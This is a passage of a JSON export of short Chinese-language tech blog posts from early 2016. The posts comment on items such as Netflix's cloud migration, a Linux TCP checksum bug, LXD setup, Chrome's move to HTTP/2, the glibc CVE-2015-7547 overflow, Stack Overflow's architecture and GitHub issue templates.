    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 宣佈關閉最後一個非雲端的資料中心：「<a href=\"https://media.netflix.com/en/company-blog/completing-the-netflix-cloud-migration\">Completing the Netflix Cloud Migration</a>」。\r\n\r\n<blockquote>We are happy to report that in early January, 2016, after seven years of diligent effort, we have finally completed our cloud migration and shut down the last remaining data center bits used by our streaming service!</blockquote>\r\n\r\n其實就只是選擇走全雲端的路子而已...",
    "title": "Netflix 的全雲端化"
  },
  {
    "id": "6302",
    "body": "<a href=\"http://mashable.com/\">Mashable</a> 的報導說下個版本的 <a href=\"https://instagram.com/\">Instagram</a> 將會提供影片播放次數資訊了：「<a href=\"http://mashable.com/2016/02/12/instagram-videos/\">Instagram videos will get cool new updates to let you see how popular you are</a>」。\r\n\r\n<blockquote>The number of times a video is viewed on Instagram will soon no longer be a mystery.\r\n\r\nInstagram is adding a new feature that will tally view counts much like parent company Facebook already does, eliminating a major blindspot for marketers attempting to tap into the app's 400-million strong audience organically.</blockquote>\r\n\r\n愈來愈多 social network 往 video 這塊著力...",
    "title": "新版 Instagram 將可以看到影片播放次數了"
  },
  {
    "id": "6303",
    "body": "英國計畫從 2018 年開始，超過 250 人的公司必須公佈男女的平均薪資及 Bonus：「<a href=\"http://money.cnn.com/2016/02/12/news/companies/women-men-pay-difference-uk/index.html\">Companies will be forced to reveal their gender pay gap</a>」：\r\n\r\n<blockquote>The new rules, revealed on Friday, will apply to all companies with more than 250 employees.</blockquote>\r\n\r\n除了平均薪資以及 bonus 外，還必須公開每個區間的人數：\r\n\r\n<blockquote>In addition to publishing their average gender pay and bonus gap, around 8,000 employers across the country will also have to publish the number of men and women in each pay range.</blockquote>\r\n\r\n目標是希望讓資訊更透明讓人力市場更健康：\r\n\r\n<blockquote>The government is hoping that naming and shaming firms that pay women a lot less than men in the same jobs will push them to stop the practice, because it will make it harder for them to attract top talent.</blockquote>\r\n\r\n可以看到目前估算出來的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hy16arN.webp\" /><img src=\"https://i.gslin.com/imgur/Hy16arN.jpg\" alt=\"\" /></picture>\r\n\r\n另外美國也在規劃類似的法案，不僅僅是性別，還包括了種族等其他資訊：\r\n\r\n<blockquote>In the U.S., similar plans are also under discussions. President Obama announced a proposal earlier this month that would require companies with more than 100 employees to report how much they are paying their employees by race, ethnicity and gender.</blockquote>",
    "title": "英國計畫在 2018 年開始強制企業公佈男女的平均薪資及 Bonus"
  },
  {
    "id": "6304",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 家的工程師努力通靈找靈異現象，最後發現是 kernel bug 造成 veth 沒檢查 TCP checksum 造成的慘案：「<a href=\"https://medium.com/vijay-pandurangan/linux-kernel-bug-delivers-corrupt-tcp-ip-data-to-mesos-kubernetes-docker-containers-4986f88f7a19\">Linux kernel bug delivers corrupt TCP/IP data to Mesos, Kubernetes, Docker containers</a>」。\r\n\r\n而隔壁棚 <a href=\"https://www.pagerduty.com/\">PagerDuty</a> 在 2015 年五月也有遇到類似的問題，不過當時看起來沒找出 root cause，只有提出 workaround 解法暫時避開：「<a href=\"https://www.pagerduty.com/blog/the-discovery-of-apache-zookeepers-poison-packet/\">The Discovery of Apache ZooKeeper’s Poison Packet</a>」。\r\n\r\n這個 bug 已經被 patch 掉了，之後應該會再 backport 回到舊版 <a href=\"https://www.kernel.org/\">kernel</a>：\r\n\r\n<blockquote>I’m really impressed with the linux netdev group and kernel maintainers in general; code reviews were quite prompt and our patch was merged in within a few weeks, and was back-ported to older (3.14+) -stable queues on various kernel distributions (Canonical, Suse) within a month.</blockquote>\r\n\r\n文章中間有寫找 bug 的過程，可以看到都是在通靈...",
    "title": "沒有檢查 TCP checksum 的 bug 造成的慘案"
  },
  {
    "id": "6305",
    "body": "美國與古巴的航權競標將在星期二開始：「<a href=\"http://edition.cnn.com/2016/02/12/politics/u-s-to-restore-commercial-flights-to-cuba/index.html\">U.S. to restore commercial flights to Cuba</a>」。\r\n\r\n<blockquote>In just a matter of days, U.S. airlines will begin a fierce bidding war to win routes and airport slots to a destination that's been off-limits to them for more than 50 years: Cuba.</blockquote>\r\n\r\n不過這次還是沒有開放古巴的飛機：\r\n\r\n<blockquote>CNN is told there are no plans in the near future for Cuban-owned planes to land in the U.S. under this agreement.</blockquote>",
    "title": "美國與古巴的復航"
  },
  {
    "id": "6306",
    "body": "<a href=\"http://www.theguardian.com/\">衛報</a>報導了從 <a href=\"https://github.com/\">GitHub</a> 上分析 <a href=\"https://help.github.com/articles/using-pull-requests/\">pull request</a> 的性別分析研究：「<a href=\"http://www.theguardian.com/technology/2016/feb/12/women-considered-better-coders-hide-gender-github\">Women considered better coders – but only if they hide their gender</a>」，原始論文出自「<a href=\"https://peerj.com/preprints/1733/\">Gender bias in open source: Pull request acceptance of women versus men</a>」。\r\n\r\n研究的結果說明女性的 pull request 接受機率比男性高，但如果貢獻者可被確認是女性的話則會反過來，也就是說男女歧視問題是可被觀察到的：\r\n\r\n<blockquote>Surprisingly, our results show that women's contributions tend to be accepted more often than men's. However, when a woman's gender is identifiable, they are rejected more often. Our results suggest that although women on GitHub may be more competent overall, bias against them exists nonetheless.</blockquote>\r\n\r\n由於性別資訊不是必填項目，論文裡面也有提到透過 social network 的資料比對，以及其他方式去推測。這個研究成果看起來應該會產生不少討論...",
    "title": "GitHub 上 Pull Request 的男女歧視問題"
  },
  {
    "id": "6307",
    "body": "<a href=\"http://www.ubuntu.com/cloud/lxd\">LXD</a> 是 <a href=\"http://www.canonical.com/\">Canonical</a> (<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的那家公司) 推的 container 系統，在「<a href=\"http://www.jorgecastro.org/2016/02/12/super-fast-local-workloads-with-juju/\">Super Fast Local Workloads With LXD, ZFS, and Juju</a>」這篇文章裡雖然是提 ZFS + <a href=\"http://www.ubuntu.com/cloud/juju\">Juju</a> 這兩個東西，但 LXD 的部份還是給了些可以直接拿來用的資訊。\r\n\r\n首先先安裝 LXD，我是裝 <a href=\"https://launchpad.net/~ubuntu-lxc/+archive/ubuntu/stable\">ppa:ubuntu-lxc/stable</a> 這個版本，裝完 lxd 後就照著先執行：\r\n\r\n<pre>$ newgrp lxd\r\n$ lxd init</pre>\r\n\r\n由於沒有裝 zfs，就用 dir 模式跑就好了。網路的部份就先選 no 混過去，反正 NAT 會通... 接著就拉 image 回來：\r\n\r\n<pre>$ lxd-images import ubuntu trusty amd64 --sync --alias ubuntu-trusty</pre>\r\n\r\n拉完後就可以跑起來了：\r\n\r\n<pre>$ lxc launch ubuntu-trust test\r\n$ lxc exec test /bin/bash</pre>\r\n\r\n直接打 lxc 也可以看到一些說明，用過 <a href=\"https://www.docker.com/\">Docker</a> 的人應該是沒什麼問題，還蠻簡單的。",
    "title": "試玩 LXD"
  },
  {
    "id": "6309",
    "body": "在「<a href=\"https://github.com/StevenBlack/hosts\">Amalgamated hosts file</a>」這邊看到超大包的 hosts，拿來擋廣告：\r\n\r\n<blockquote>This repo consolidates several reputable <code>hosts</code> files and merges them into a single amalgamated hosts file with duplicates removed.\r\n\r\n<strong>Currently this amalgamated hosts file contains 27,148 unique entries.</strong></blockquote>\r\n\r\n一包 hosts 有兩萬七千筆資料會不會太多了點...\r\n\r\n話說不知道能不能 import 進 <a href=\"https://www.isc.org/downloads/bind/\">BIND</a> 或是 <a href=\"https://www.unbound.net/\">Unbound</a> 裡面直接讓整個組織用？",
    "title": "用 hosts 搞出來的 Adblock..."
  },
  {
    "id": "6310",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 將在今年 (2016) 的五月 15 日讓 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 與 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> <a href=\"https://en.wikipedia.org/wiki/Application-Layer_Protocol_Negotiation\">NPN</a> 退役：「<a href=\"https://blog.chromium.org/2016/02/transitioning-from-spdy-to-http2.html\">Transitioning from SPDY to HTTP/2</a>」。\r\n\r\n主要是依據 Google Chrome 的流量數據，HTTP/2 大約佔了 25% 的流量 (目前檯面上大網站的 HTTPS 都支援了)，而 SPDY 只剩下 5% 的量：\r\n\r\n<blockquote>Over 25% of resources in Chrome are currently served over HTTP/2, compared to less than 5% over SPDY.</blockquote>\r\n\r\n另外一個是對 HTTP/2 NPN 的支援將同一個時間關閉，只支援 <a href=\"https://en.wikipedia.org/wiki/Application-Layer_Protocol_Negotiation\">ALPN</a>：\r\n\r\n<blockquote>At the same time, Chrome will stop supporting the TLS protocol extension NPN, which allows servers to negotiate SPDY and HTTP/2 connections with clients. NPN has been superseded by the TLS extension ALPN, published by the IETF in 2014. ALPN is already used 99% of the time to negotiate HTTP/2 with Chrome, and the remaining servers can gain ALPN support by upgrading their SSL library.</blockquote>\r\n\r\n所以還有四個月的時間...",
    "title": "Chrome 宣佈 SPDY 的退役，只支援 HTTP/2 (ALPN)"
  },
  {
    "id": "6311",
    "body": "在「<a href=\"http://arstechnica.com/tech-policy/2016/02/france-says-facebook-must-face-french-law-in-nudity-censorship-case/\">France says Facebook must face French law in nudity censorship case</a>」這邊提到法院認為 <a href=\"https://www.facebook.com/\">Facebook</a> 的使用條款中要求必須在加州法院解決的條件，使得法國的使用者難以提出訴訟，違反法國的消費者保護法令而無效：\r\n\r\n<blockquote>The Terms of Service add, \"The laws of the State of California will govern this Statement, as well as any claim that might arise between you and us, without regard to conflict of law provisions.”</blockquote>\r\n\r\n<blockquote>The appeals court agreed that Facebook’s Terms of Service were “abusive” and \"violated French consumer law by making it difficult for people in France to sue,” according to the BBC.</blockquote>\r\n\r\n引用的 <a href=\"http://www.bbc.com/\">BBC</a> 報導可以在「<a href=\"http://www.bbc.com/news/world-europe-35559036\">Paris court rules against Facebook in French nudity case</a>」這邊看到：\r\n\r\n<blockquote>The Paris high court decided that the company's argument was \"abusive\" and violated French consumer law, by making it difficult for people in France to sue.</blockquote>",
    "title": "法國法院認為 Facebook 條款違反消費者保護法令"
  },
  {
    "id": "6313",
    "body": "在「<a href=\"http://insideairbnb.com/how-airbnb-hid-the-facts-in-nyc/\">How Airbnb's Data hid the Facts in New York City</a>」這篇文章裡提到了 <a href=\"https://www.airbnb.com/\">Airbnb</a> 在去年 (2015 年) 十一月時操作站上資料，美化數據的證據。\r\n\r\nAirbnb 在 2015 年 12 月時發表了一篇「<a href=\"https://www.airbnbaction.com/data-on-the-airbnb-community-in-nyc/\">Data on the Airbnb Community in NYC</a>」，說明 Airbnb 對紐約地區的貢獻的種種之類的 PR 文章。\r\n\r\nAirbnb 的文章裡面提到了資料是取自 2015 年 11 月 17 日的資料：\r\n\r\n<blockquote>As of November 17, 2015 there were 35,966 active Airbnb listings in New York.</blockquote>\r\n\r\n而作者則發現了 2015 年 11 月 17 日當天，Airbnb 站上的資料被「清理」過：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dfxkanb.webp\" /><img src=\"https://i.gslin.com/imgur/dfxkanb.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>A major part of Airbnb's recent data release was a snapshot of New York City listings as of November 17, 2015. This report shows that the snapshot was photoshopped: in the days leading up to November 17, Airbnb ensured a flattering picture by carrying out a one-time targeted purge of more than 1,000 listings. The company then presented November 17 as a typical day in the company’s operations and mis-represented the one-time purge as a historical trend.</blockquote>\r\n\r\n而且只針對紐約地區清理：\r\n\r\n<blockquote>No similar event took place in other cities in North America or elsewhere.</blockquote>\r\n\r\n完整的分析在「<a href=\"http://insideairbnb.com/reports/how-airbnbs-data-hid-the-facts-in-new-york-city.pdf\">how_airbnbs_data_hid_the_facts_in_new_york_city.pdf</a>」可以取得 PDF 檔，可以看到裡面同時有兩個不同資料來源的分析並確認 (Murray Cox 與 Tom Slee 所蒐集的資料)。",
    "title": "Airbnb 被抓到操作站上資料以美化數據"
  },
  {
    "id": "6314",
    "body": "出自「<a href=\"http://www.bbc.com/news/uk-politics-35558349\">Tribunal rules computer hacking by GCHQ is not illegal</a>」這篇報導。在 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 爆料美國與英國政府都在幹黑的後，<a href=\"https://www.privacyinternational.org/\">Privacy International</a> 就提出訴訟控告 <a href=\"http://www.gchq.gov.uk/\">GCHQ</a>，但前幾天法院認定這樣是合法的：\r\n\r\n<blockquote>Campaigners Privacy International have lost a legal challenge claiming the spying post's hacking operations are too intrusive and break European law.</blockquote>\r\n\r\n<blockquote>The case was launched after revelations by US whistleblower Edward Snowden about the extent of US and UK spying.</blockquote>\r\n\r\n接下來的戰場會變成在 <a href=\"https://en.wikipedia.org/wiki/Draft_Investigatory_Powers_Bill\">Investigatory Powers Bill</a> 上面？還是會繼續有上訴？",
    "title": "英國法院認為 GCHQ 偷黑別人機器是合法的"
  },
  {
    "id": "6315",
    "body": "在七年半前 (2008 年八月) 寫的「<a href=\"https://blog.gslin.org/archives/2008/08/01/1588/%E5%88%A9%E7%94%A8-css-%E7%94%A2%E7%94%9F%E7%9A%84%E9%9A%B1%E7%A7%81%E5%95%8F%E9%A1%8C/\">利用 CSS 產生的隱私問題</a>」文章，最近好像是因為 <a href=\"https://www.facebook.com/rplus.tw\">Rplus Chen</a> 在 <a href=\"https://www.facebook.com/\">Facebook</a> 上的<a href=\"https://www.facebook.com/rplus.tw/posts/1059798924087890\">這邊</a>提到而又有不少點擊進來，不過這個問題在 2010 年左右已經被解決了。\r\n\r\n可以參考 <a href=\"https://developer.mozilla.org/\">MDN</a> 上「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:visited\">:visited - CSS</a>」的說明，以及當時 <a href=\"https://www.mozilla.org/\">Mozilla</a> 所發佈的文章：「<a href=\"https://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/\">privacy-related changes coming to CSS :visited</a>」。\r\n\r\n由於隱私問題，Mozilla 的作法是限制 <code>:visited</code> 可以改變的項目，只剩下少數與呈現方式有關的屬性可以用：\r\n\r\n<blockquote>For privacy reasons, browsers strictly limit the styles you can apply using an element selected by this pseudo-class: only <code>color</code>, <code>background-color</code>, <code>border-color</code>, <code>border-bottom-color</code>, <code>border-left-color</code>, <code>border-right-color</code>, <code>border-top-color</code>, <code>outline-color</code>, <code>column-rule-color</code>, <code>fill</code> and <code>stroke</code>.</blockquote>\r\n\r\n另外各種想要取得 <code>:visited</code> 的 CSS 資訊的方法，也會以沒有瀏覽過該網站重新計算，並且傳回假資料以確保還是不會洩漏：\r\n\r\n<blockquote>The first change is that Gecko will lie to web applications under certain circumstances. In particular, <code>getComputedStyle()</code> and similar functions such as <code>element.querySelector()</code> always return values indicating that a user has never visited any of the links on a page.</blockquote>",
    "title": "關於 CSS 中 :visited 的隱私問題"
  },
  {
    "id": "6316",
    "body": "<a href=\"https://webkit.org/\">Webkit</a> 推出了 <a href=\"https://webkit.org/docs/b3/\">B3</a> 加快 optimization 的速度，取代原來 <a href=\"http://llvm.org/\">LLVM</a> 的工作：「<a href=\"https://webkit.org/blog/5852/introducing-the-b3-jit-compiler/\">Introducing the B3 JIT Compiler</a>」。\r\n\r\n在文章後方 Performance Results 的部份可以看到最主要的差異在啟動時間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8YhWDNu.webp\" /><img src=\"https://i.gslin.com/imgur/8YhWDNu.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以看到其他各種 performance benchmark 也幾乎都是小勝 LLVM。\r\n\r\n接下來會有 ARM64 與其他平台的計畫：\r\n\r\n<blockquote>B3 is not yet complete. We still need to finish porting B3 to ARM64. B3 passes all tests, but we haven’t finished optimizing performance on ARM. Once all platforms that used the FTL switch to B3, we plan to remove LLVM support from the FTL JIT.</blockquote>",
    "title": "Webkit 推出 B3 JIT Compiler (Bare Bones Backend)"
  },
  {
    "id": "6317",
    "body": "<a href=\"https://www.google.com/\">Google</a> 寫了一篇關於 <a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7547\">CVE-2015-7547</a> 的安全性問題：「<a href=\"https://googleonlinesecurity.blogspot.com/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html\">CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow</a>」。\r\n\r\nGoogle 的工程師在找 <a href=\"http://www.openssh.com/\">OpenSSH</a> 連到某台特定主機就會 segfault 的通靈過程中，發現問題不在 OpenSSH，而是在更底層的 <a href=\"https://www.gnu.org/software/libc/\">glibc</a> 導致 segfault：\r\n\r\n<blockquote>Recently a Google engineer noticed that their SSH client segfaulted every time they tried to connect to a specific host. That engineer filed a ticket to investigate the behavior and after an intense investigation we discovered the issue lay in glibc and not in SSH as we were expecting.</blockquote>\r\n\r\n由於等級到了 glibc 這種每台 Linux 都有裝的情況，在不經意的情況下發生 segfault，表示在刻意攻擊的情況下可能會很糟糕，所以 Google 投入了人力研究，想知道這個漏洞到底可以做到什麼程度：\r\n\r\n<blockquote>Thanks to this engineer’s keen observation, we were able determine that the issue could result in remote code execution. We immediately began an in-depth analysis of the issue to determine whether it could be exploited, and possible fixes. We saw this as a challenge, and after some intense hacking sessions, we were able to craft a full working exploit!</blockquote>\r\n\r\n在研究過程中 Google 發現 <a href=\"https://www.redhat.com/\">Red Hat</a> 的人也在研究同樣的問題：「<a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=18665\">(CVE-2015-7547) - In send_dg, the recvfrom function is NOT always using the buffer size of a newly created buffer (CVE-2015-7547)</a>」：\r\n\r\n<blockquote>In the course of our investigation, and to our surprise, we learned that the glibc maintainers had previously been alerted of the issue via their bug tracker in July, 2015. (<a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=18665\">bug</a>). We couldn't immediately tell whether the bug fix was underway, so we worked hard to make sure we understood the issue and then reached out to the glibc maintainers. To our delight, Florian Weimer and Carlos O’Donell of <a href=\"https://www.redhat.com/en\">Red Hat</a> had also been studying the bug’s impact, albeit completely independently! Due to the sensitive nature of the issue, the investigation, patch creation, and regression tests performed primarily by Florian and Carlos had continued “off-bug.”</blockquote>\r\n\r\n攻擊本身需要繞過反制機制 (像是 <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\">ASLR</a>)，但仍然是可行的，Google 的人已經成功寫出 exploit code：\r\n\r\n<blockquote>Remote code execution is possible, but not straightforward. It requires bypassing the security mitigations present on the system, such as ASLR. We will not release our exploit code, but a non-weaponized Proof of Concept has been made available simultaneously with this blog post.</blockquote>\r\n\r\n技術細節在 Google 的文章裡也有提到，buffer 大小固定為 2048 bytes，但取得時有可能超過 2048 bytes，於是造成 buffer overflow：\r\n\r\n<blockquote>glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query.\r\n\r\nLater on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated.</blockquote>\r\n\r\n另外 glibc 官方的 mailing list 上也有說明：「<a href=\"https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html\">[PATCH] CVE-2015-7547 --- glibc getaddrinfo() stack-based buffer overflow</a>」。",
    "title": "CVE-2015-7547：getaddrinfo() 的 RCE (Remote Code Execution) 慘案"
  },
  {
    "id": "6318",
    "body": "<a href=\"https://stackoverflow.com/\">Stack Overflow</a> 公開了 2016 年現在的系統架構：「<a href=\"http://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/\">Stack Overflow: The Architecture - 2016 Edition</a>」。\r\n\r\nStack Overflow 的重要性可以從前陣子 <a href=\"https://twitter.com/\">Twitter</a> 上流傳的一張讓大家笑的很開心的圖看出來：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">The one true <a href=\"https://twitter.com/hashtag/JavaScript?src=hash\">#JavaScript</a> exception handler. ;) <a href=\"https://t.co/Zwoi3VlluD\">pic.twitter.com/Zwoi3VlluD</a></p>&mdash; Jordan Hall (@DivineOmega) <a href=\"https://twitter.com/DivineOmega/status/695744177557106688\">February 5, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n身為目前「程序猿」(!) 最重要的 debug (!!) 資料來源，而且是目前少數用 <a href=\"https://www.asp.net/\">ASP.NET</a> 與 <a href=\"https://www.microsoft.com/sqlserver/\">Microsoft SQL Server</a> 作為網站與資料庫的架構，並且是放在傳統 IDC 機房而非 Cloud Service 的知名網站，大家也很好奇他們是怎麼堆出來的。\r\n\r\n上次公開 Stack Overflow 的系統架構是 2013 年年底了 (參考當時寫的「<a href=\"https://blog.gslin.org/archives/2013/11/24/3892/stack-overflow-%E7%9A%84%E7%8F%BE%E6%B3%81/\">Stack Overflow 的現況...</a>」這篇)，這份更新距離上次兩年多了，也有很多可以交叉比較的事情。\r\n\r\n比較有趣的是效能的提昇的說明，本來以為會是說因為我們改善程式碼的效率或是其他類似的理由，結果居然直接說是因為買新機器了 XDDD：\r\n\r\n<blockquote>You may be wondering about the drastic ASP.Net reduction in processing time compared to 2013 (which was 757 hours) despite 61 million more requests a day. That’s due to both a hardware upgrade in early 2015 as well as a lot of performance tuning inside the applications themselves. </blockquote>\r\n\r\n另外覺得比較有趣的是 <a href=\"http://www.cisco.com/\">Cisco</a> 的 <a href=\"http://www.cisco.com/c/en/us/products/routers/asr-1001-router/\">ASR-1001</a> 與 <a href=\"http://www.cisco.com/c/en/us/products/routers/asr-1001-x-router/\">ASR-1001-x</a>，不知道是什麼理由選擇這個系列，改天找 Cisco 的朋友問問看好了...\r\n\r\n另外他們的 Websockets 也拿來做有趣的事情：\r\n\r\n<blockquote>We use websockets to push real-time updates to users such as notifications in the top bar, vote counts, <a href=\"https://meta.stackoverflow.com/questions/308875/new-navigation-release-candidate\">new nav</a> counts, new answers and comments, and a few other bits.</blockquote>\r\n\r\n另外他們也發現有些瀏覽器連線已經連 18 個月了 (喂喂)，也許應該去看一下人是不是還活著：\r\n\r\n<blockquote>Fun fact: some of those browsers have been open for over 18 months. We’re not sure why. Someone should go check if those developers are still alive.</blockquote>\r\n\r\n我猜是 production server 上開瀏覽器查資料後沒關掉，就一直連著...",
    "title": "Stack Overflow 公開 2016 的架構"
  },
  {
    "id": "6319",
    "body": "<a href=\"https://cloud.google.com/compute/\">Google Compute Engine</a> 推出了可以自己設定 CPU 與 RAM 的機器種類：「<a href=\"https://cloud.google.com/custom-machine-types/\">Custom Machine Types - Compute Engine &mdash; Google Cloud Platform</a>」。\r\n\r\n可以從 1 個 vCPU 到 32 個 vCPU，而記憶體最多是 6.5GB * vCPU 數，所以理論上最高是 208GB？\r\n\r\n<blockquote>Create a machine type with as little as 1 vCPU and up to 32 vCPUs, or any even number of vCPUs in between. Memory can be configured up to 6.5 GB of RAM per vCPU.</blockquote>\r\n\r\n計價方式就是 vCPU 算一份，記憶體算一份。記得以前有比較小的 Cloud Service 有提供過類似的計價方式，後來都收掉了...",
    "title": "Google Compute Engine 推出 Custom Machine Type"
  },
  {
    "id": "6321",
    "body": "<a href=\"http://www.bloomberg.com/\">Bloomberg</a> 的「<a href=\"http://www.bloomberg.com/news/features/2016-02-16/where-your-iphone-goes-to-die\">Where Your iPhone Goes to Die (and Be Reborn)</a>」這篇稍微描述了 <a href=\"https://www.apple.com/\">Apple</a> 裝置回收後的報廢過程。\r\n\r\n報導是寫香港的報廢工廠，但受限於與蘋果的合約就不能具名說是誰：\r\n\r\n<blockquote>While global brands including HP, Huawei, Amazon and Microsoft also have detailed protocols for recycling their products, Apple’s are the most rigid and exacting, according to people involved in the processes, who declined to be identified because they’re not authorized to speak about clients.</blockquote>\r\n\r\n不過 Bloomberg 的人有跟蘋果官方取得一些訪問資料：\r\n\r\n<blockquote>\"I think people expect it of us, I think our customers hold us to a high standard,\" Lisa Jackson, Apple’s head of environmental affairs, said by phone from the company’s Cupertino headquarters. \"It’s difficult, because these are incredibly complex pieces of product.\"</blockquote>\r\n\r\n另外也有提到取得時的成本：\r\n\r\n<blockquote>After a quick test, the recycler will either buy the phone or offer to scrap it for free. In the U.S., payouts for working phones range from $100 for the smallest-capacity iPhone 4, to $350 for the largest iPhone 6 Plus. More stringent testing then shows whether the handset can be resold or must be scrapped.</blockquote>\r\n\r\n以及 Bloomberg 做的一些圖表，可以看到各種處理的原則以及回收的大概流程：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/032wbFQ.webp\" /><img src=\"https://i.gslin.com/imgur/032wbFQ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qzPNPFw.webp\" /><img src=\"https://i.gslin.com/imgur/qzPNPFw.jpg\" alt=\"\" /></picture>",
    "title": "蘋果裝置的報廢過程：香港"
  },
  {
    "id": "6322",
    "body": "話說最近用 <a href=\"http://nuzzel.com/\">Nuzzel</a> 用的還算開心，可以抓到不少文章，但意外的是這篇在 Nuzzel 上沒看到，是在 <a href=\"https://www.facebook.com/allenown\">Allen Own</a> 的 <a href=\"https://www.facebook.com/\">Facebook</a> 時間軸上看到的 (<a href=\"https://www.facebook.com/allenown/posts/10153250809781459\">這則</a>)。\r\n\r\n原文出自「<a href=\"https://pierrekim.github.io/blog/2016-02-16-why-i-stopped-using-startssl-because-of-qihoo-360.html\">Why I stopped using StartSSL (Hint: it involves a Chinese company)</a>」。\r\n\r\n最主要的安全問題在於 <code>auth.startssl.com</code> 放在中國公司<a href=\"http://www.360.com/\">奇虎 360</a> 的機房內，而這是身份認證用的伺服器。基於中國是個人治而非法治的國家 (i.e. 無法確保 CA 的稽核機制是有效的)，我決定把 StartSSL 的 root certificate 從 trusted chain 裡面拔掉，以免中獎...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N4UsliI.webp\" /><img src=\"https://i.gslin.com/imgur/N4UsliI.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oMz6mUA.webp\" /><img src=\"https://i.gslin.com/imgur/oMz6mUA.jpg\" alt=\"\" /></picture>",
    "title": "StartSSL 將 auth.startssl.com 放在奇虎 360 的機房內"
  },
  {
    "id": "6323",
    "body": "大約一個多月前 (2016 年一月 15 日)，一群用 <a href=\"https://github.com/\">GitHub</a> 發展 Open Source 軟體的人對 GitHub 提出請願，要求重視 Open Source Community 在 GitHub 平台上遇到的問題：「<a href=\"https://github.com/dear-github/dear-github\">An open letter to GitHub from the maintainers of open source projects</a>」。\r\n\r\n這個請願在卡了將近一個月後，陸陸續續有相當多要搬出 GitHub 的討論，像是 <a href=\"https://github.com/eslint/eslint/\">eslint</a> 就直接在 GitHub 開了 issue，討論搬出 GitHub 會遇到的問題以及可能的解決方法：「<a href=\"https://github.com/eslint/eslint/issues/5205\">Investigate switching away from GitHub</a>」。\r\n\r\n在二月 13 日的時候，GitHub 透過 pull request 發出回應說「我們在處理了」，但也沒講正在處理什麼，看起來就是個很 PR 的回應：「<a href=\"https://github.com/dear-github/dear-github/pull/115\">Dear Open Source Maintainers</a>」。\r\n\r\n直到昨天，三個主要的請願中關於 issue 範本的問題 (也就是下面這段) 總算有進展了：\r\n\r\n<blockquote>Issues are often filed missing crucial information like reproduction steps or version tested. We’d like issues to gain custom fields, along with a mechanism (such as a mandatory issue template, perhaps powered by a newissue.md in root as a likely-simple solution) for ensuring they are filled out in every issue.</blockquote>\r\n\r\n為了解決使用者在開 issue 時有時會忘記給出完整的環境資訊 (以及其他有用的資料)，GitHub 推出了新的功能，在開 issue 或 pull request 時利用 template 讓使用者有個範本可以照著填寫，同時 template 也支援 <a href=\"https://daringfireball.net/projects/markdown/\">Markdown</a>，讓填寫的方式會更豐富一些：「<a href=\"https://github.com/blog/2111-issue-and-pull-request-templates\">Issue and Pull Request templates</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nRzNNaR.webp\" /><img src=\"https://i.gslin.com/imgur/nRzNNaR.jpg\" alt=\"\" /></picture>\r\n\r\n這總算開始有進展了。但也開始感覺到 GitHub 的動作已經開始慢下來了...",
    "title": "GitHub 對 Open Source Community 請願的回應"
  },
  {
    "id": "6324",
    "body": "兩個月前 <a href=\"https://www.google.com/\">Google</a> 放出來的 <a href=\"https://cloud.google.com/vision/\">Google Cloud Vision API</a> (參考「<a href=\"https://blog.gslin.org/archives/2015/12/05/6180/google-cloud-vision-api/\">Google Cloud Vision API</a>」) 開放讓一般人使用了，當初沒決定的價錢也公告出來了。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TuNIz0H.webp\" /><img src=\"https://i.gslin.com/imgur/TuNIz0H.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/m2hSwVE.webp\" /><img src=\"https://i.gslin.com/imgur/m2hSwVE.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到分成「Optical Character Recognition (OCR)」、「Image Attributes, Landmark, Facial, Logo, or Explicit Content Detection」與「Label Detection」三種，每個月的前 1000 個單位都是免費的，後面每千張是 $2.5/$2.5/$5.0，到百萬張以上時每千張變成 $2.0/$2.0/$4.0，超過五百萬時變成 $0.6/$0.6/$2.0。\r\n\r\n另外目前有數量限制，每個月超過兩千萬張需要另外申請：\r\n\r\n<blockquote>Limits: The Google Cloud Vision API supports up to 20 Million units per month per customer project. To request additional quota, please use Cloud Vision API Quota Request.</blockquote>",
    "title": "Google Cloud Vision API 開放讓大眾使用"
  },
  {
    "id": "6325",
